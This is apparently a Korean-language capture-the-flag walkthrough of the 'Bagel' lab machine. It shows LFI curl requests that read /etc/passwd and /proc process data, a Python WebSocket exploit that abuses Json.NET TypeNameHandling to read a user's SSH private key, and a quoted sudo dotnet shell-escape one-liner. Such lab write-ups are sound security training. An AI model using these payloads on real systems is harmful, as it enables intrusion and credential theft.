레벨: 중간
소요 시간: 11시간 35분
포트 스캔
일반적인 절차 .. Tcp Connect Scan으로 가능한 한 빨리 모든 포트를 스캔하여 열려있는 포트를 찾으십시오.
결과적으로 ssh, upnp(포트 포워딩 관련) 및 포트 8000이 열려 있습니다.
$nmap -p- -T4 --min-rate=10000 10.10.11.201 -oN bagel.nmap
대상 서버의 호스트 및 도메인 이름은 bagel.htb입니다.
따라서 /etc/hosts 파일에 추가하면
브라우저를 통해 정상적으로 포트 8000에 액세스할 수 있습니다.
$curl http://10.10.11.201:8000
기본 페이지이고, page 매개변수에 page와 html 파일이 포함되어 있기 때문에 LFI나 RFI가 발생하고 있는지 바로 의심해볼 수 있습니다.
주문 링크를 입력하면 고객 주문 정보도 표시됩니다.
나는 index.php 등으로 시도했다.
도구가 사용되고 있는 것을 확인할 수 있습니다.
로컬 파일 마운트(LFI)
바이패스 기술이 없어서 너무 쉬웠고 LFI 취약점으로 /etc/passwd를 얻었습니다.
여기서부터 조금 의심이 들기 시작했습니다.
나중에 어떤 폭탄이 터질까요?
$curl 'http://bagel.htb:8000/?page=../../../../../../etc/passwd'
여하튼 이제 중요한 정보를 알았으니 passwd 파일을 로컬에 저장하고 bash shell을 이용해서 사용자를 찾아보니 취약한 서버에 루트를 제외한 개발자와 필 사용자가 있는 것으로 짐작할 수 있다.
$curl 'http://bagel.htb:8000/?page=../../../../../../etc/passwd' -o passwd -s
$cat passwd | grep '/bin/bash'
현재 액세스 가능한 디렉토리를 알기 위해 모든 사용자의 모든 홈 디렉토리에 있는 .bashrc를 찾았고 개발자 계정의 홈 디렉토리에 액세스할 수 있었습니다.
프로세스 열거
호스트 파일도 보고 각종 설정 파일도 살펴보았지만 아무것도 나오지 않았다.
그러나 해당 Python 웹 응용 프로그램을 실행하는 프로세스가 아직 실행 중이기 때문에 프로세스 열거가 수행되었습니다.
리눅스에서 /proc 디렉토리에서 프로세스의 PID 이름으로 폴더가 생성됩니다.
다음 프로세스는 퍼징을 위해 1에서 5000까지의 숫자를 process.lst 파일에 저장하는 전처리를 수행합니다.
$for i in $(seq 1 5000); do echo $i; done > process.lst
그런 다음 FFUF 및 활성 PID로 현재 활성 프로세스 정보를 퍼징하는 프로세스가 완료되었습니다.
process_result.txt 파일로 다시 저장되었습니다.
$ffuf -u "http://bagel.htb:8000/?page=../../../../../../proc/FUZZ/cmdline" -w process.lst -fs 0,14 -s | tee process_result.txt
이제 활성 PID를 폴더 이름으로 사용하여 PID가 실행 중인 명령을 찾기 위해 반복되는 curl 요청이 전송됩니다.
$while read process; do echo curl "http://bagel.htb:8000/?page=../../../../../../proc/$process/cmdline"
-s -o $process; done < process_result.lst
활성 PID가 실행 중인 명령을 확인하는 데 46초가 걸렸습니다.
$time while read process; do curl "http://bagel.htb:8000/?page=../../../../../../proc/$process/cmdline"
-s -o $process; done < process_result.lst
활성 PID가 실행 중인 모든 명령을 찾았지만 문자열 \n으로 끝나지 않았기 때문에 출력이 한 줄에 있었습니다.
따라서 이를 처리하기 위해 파이프라인을 통해 조작했다.
또한 예상대로 개발자 계정의 /app/app.py에서 webapp이 실행되는 것을 확인했습니다.
$ls | while read process; do echo -n "$process : "; cat $process; echo; done
웹 서버가 실행 중인 위치와 스크립트가 무엇인지 알고 있으므로 Python 스크립트를 LFI로 반환할 수 있습니다.
대상 웹 애플리케이션은 Flask를 사용합니다.
스크립트에는 두 가지 중요한 부분만 있습니다.
첫 번째는 /orders 페이지에 액세스하면 WebSocket을 통해 서버의 포트 5000으로 메시지가 전송된다는 것입니다.
두 번째는 주석으로 “dotnet”이 있는 DLL 파일을 실행하고 ssh로 액세스하기 위한 정보입니다.
마지막으로 nmap에서 업앤피 포트 포워딩이 아닌 WebSocket 전용 포트인 것으로 확인되었습니다.
$curl http://bagel.htb:8000/?page=../../../../../../home/developer/app/app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page="static/"+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers("Content-Length")=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)('ReadOrder'))
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
주석으로 작성된 DLL 파일을 찾기 위해 PID에 의해 실행된 명령이 저장된 파일을 살펴보았고 DLL 파일이 /opt 아래에서 실행되는 것을 확인했습니다.
이제 LFI를 통해 DLL 파일을 받으면 Windows 32 DLL 파일임을 확인할 수 있습니다.
그리고 Gidra로 이 DLL 파일을 열고 사용된 문자열을 탐색하면 명확하지는 않지만 암호와 같은 문자열과 orders.txt의 경로가 표시됩니다.
$curl 'http://bagel.htb:8000/?page=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -s -o bagel.dll
그리고 app.py는 포트 5000의 websocket에 무언가를 보내 로컬로 복제한다고 말하므로
파이썬 스크립트를 작성했습니다.
스크립트 내용은 5000번 포트로 websocket에 접속하여 app.py에 명시된 json 객체를 서버로 보내는 요청이다.
요청 결과는 JSON으로 나오며, null 문자도 반환되는 것을 확인할 수 있습니다.
서버가 WebSocket을 통해 전송된 요청을 직렬화하고 즉시 역직렬화한 후 그대로 API로 보낼 것이라고 예측할 수 있습니다.
또한 “ReadOrder” 키의 값으로 “orders.txt” 파일을 읽어오는 JSON 객체를 덤프하라는 요청을 보낸 결과는 문자열 test라는 점에 유의해야 한다.
import asyncio
import websockets
import json
async def test():
async with websockets.connect('ws://10.10.11.201:5000/') as websocket:
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
await websocket.send(data)
response = await websocket.recv()
print(response)
asyncio.get_event_loop().run_until_complete(test())
얼마전 기드라로 dll 파일을 열었을 때 노출된 주문서와 txt 파일의 경로를 LFI로 검색해보니 같은 테스트 문자열이 나왔다.
이제 ReadOrder가 파일을 읽는 역할을 한다는 것을 알 수 있습니다.
.DLL 디컴파일
여기서부터는 정말 힘들어집니다.
나는 그것을 할 수 없다고 확신합니다 … JSON으로 deserialization 취약점을 악용하고 있다는 것을 알고 있지만 .NET으로 그것을하는 방법을 모르고 이것에 대해 정말로 나뉩니다.
그래도 자바랑 비슷해서 너무 좋았어요.
여하튼 Ghidra로는 DLL 파일을 파싱하는 것이 불가능하여 IlSpy 디컴파일러를 사용하였다.
DLL 파일을 분석한 결과는 아래에 간략히 설명한다.
DLL 파일을 디컴파일러로 열면 Bagel, Base, DB File, Handler, Orders 클래스가 있습니다.
Bagel 객체는 서버를 설정하고 요청과 응답을 제공하는 클래스처럼 보입니다.
Base 개체는 Orders 클래스에서 상속되는 클래스처럼 보입니다.
DB 클래스에서는 이전에 기드라로 열어본 것과 동일하게 dev id의 비밀번호가 노출되어 있습니다.
파일 클래스는 파일을 읽고 쓰는 메서드를 정의하는 클래스처럼 보였습니다.
Handler 클래스는 직렬화 및 역직렬화 프로세스를 정의하는 클래스입니다.
마지막으로 Orders 클래스는 주문을 처리하는 클래스처럼 보입니다.
다음 이미지는 Bagel 클래스의 MessageReceived() 메서드입니다.
이 메서드를 자세히 살펴보면 처리기 개체의 인스턴스를 만들고 역직렬화된 개체를 요청 변수에 넣고 요청을 다시 직렬화한 다음 응답으로 보냅니다.
나는 여기서 deserialization 취약점을 악용하고 있다고 확신했습니다.
하지만 .NET 에서 어떻게하는지 모르겠습니다.
MessageReceived() 메서드에서 생성된 처리기 개체 내부에는 직렬화 및 역직렬화 논리를 처리하는 Serialize 및 Deserialize 메서드가 있습니다.
이 사람들은 정말 중요합니다.
이러한 메서드의 공통 기능은 set_TypeNameHandling 메서드를 사용하여 무언가를 설정하고 이 메서드에서 정수 4가 TypeNameHandling으로 캐스트된다는 것입니다.
나는 이 사람이 무엇을 하고 있는지 정말로 모른다.
저도 잘 모르겠고 구글은 영어로만 나오길래 여기서 4시간 정도를 보냈습니다.
그리고 Deserialize()메소드의 반환값으로 제네릭으로 감싼 베이스객체를 반환하는데 이것이 응답이라고 의심한 이유는 베이스클래스 필드가 WebSocket의 응답값으로 그대로 노출되기 때문이다.
요청.
이 유형은 Orders 클래스입니다.
WriterOrder 및 ReadOrder getter setter는 이해할 수 있지만 RemoveOrder 필드만
GetterSetter가 이해하지 못했습니다.
내가 확인했을 때 자동 속성 변환이라고 말했습니다.
(Extended C# 문법) #1 속성 및 Get/Set 함수
(목차) Get/Set 함수 속성 자동 구현 속성 #1 get/set 함수 프로그래머는 정보를 숨길 필요가 있다
novlog.tistory.com
우선 TypeNameHandling에 취약점이 있는데 이것을 4로 설정하면 JSON 데이터를 역직렬화할 때 “$type”이라는 특수 키로 역직렬화할 클래스 이름을 지정할 수 있는 취약점이 있다.
익스플로잇 코드
익스플로잇 코드를 작성하면 이렇게 나온다.
이 코드는 위의 websocket 요청을 보내는 코드를 수정한 것입니다.
그리고 $type이라는 특수 키로 역직렬화할 클래스 이름을 지정할 수 있습니다.
import asyncio
import websockets
import json
async def test():
async with websockets.connect('ws://10.10.11.201:5000/') as websocket:
# order = {"ReadOrder":"orders.txt"}
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
await websocket.send(data)
response = await websocket.recv()
print(response)
asyncio.get_event_loop().run_until_complete(test())
익스플로잇 코드를 실행하면 phil 사용자의 개인 ssh 키가 노출됩니다.
첫 액세스
익스플로잇 코드에서 얻은 개인 SSH 키를 사용하여 phil 계정에 액세스할 수 있습니다.
측면 운동
Ghidra에서 제공하는 암호와 같은 문자열을 사용하여 개발자 계정에 로그인할 수도 있습니다.
개발자 계정이 루트이고 dotnet 명령을 암호 없이 실행할 수 있다고 명시되어 있습니다.
권한 에스컬레이션
해당 닷넷은 sudo를 실행하기 때문에 gtfobin을 검색하면 권한 상승 방법을 알 수 있습니다.
그러나 당신은 그것을 따라야합니다.
너무 어려웠다.
WebSocket까지는 매우 빠르게 진행되었지만 DLL 디컴파일부터 8시간이 걸렸습니다.
허리아프다…눈아프다…재미있다…내일은 봄이겠지…
https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm
TypeNameHandling 기본 설정
이 예제에서는 TypeNameHandling 설정을 사용하여 JSON을 직렬화할 때 유형 정보를 포함하고 JSON을 역직렬화할 때 빌드 유형이 생성되도록 유형 정보를 읽습니다.
www.newtonsoft.com
C# – .NET을 사용하여 JSON을 직렬화 및 역직렬화하는 방법
System.Text.Json 네임스페이스를 사용하여 .NET에서 JSON으로 직렬화 및 역직렬화하는 방법을 알아봅니다.
샘플 코드가 포함되어 있습니다.
learn.microsoft.com
https://stackoverflow.com/questions/55924299/insecure-deserialization-using-json-net
Json.NET을 사용한 안전하지 않은 역직렬화
정적 보안 스캐너는 이 줄에서 내 C# 코드에 플래그를 지정했습니다.
var result = JsonConvert.DeserializeObject
스캔…
stackoverflow.com
https://docs.particular.net/nservicebus/serialization/newtonsoft
Json.NET 직렬 변환기 • Newtonsoft 직렬 변환기
Newtonsoft Json.NET을 사용하는 JSON 직렬 변환기.
docs.particular.net
https://gtfobins.github.io/gtfobins/dotnet/#sudo
도트 메쉬 | GTFOBin
../dotnet read shell file sudo shell 대화형 시스템 셸을 만들어 제한된 환경을 벗어나는 데 사용할 수 있습니다.
dotnet fsi System.Diagnostics.Process.Start(“/bin/sh”).WaitForExit();;; 파일 읽기 파일에서 데이터를 읽습니다.
우리가 될 수 있습니다.
gtfobins.github.io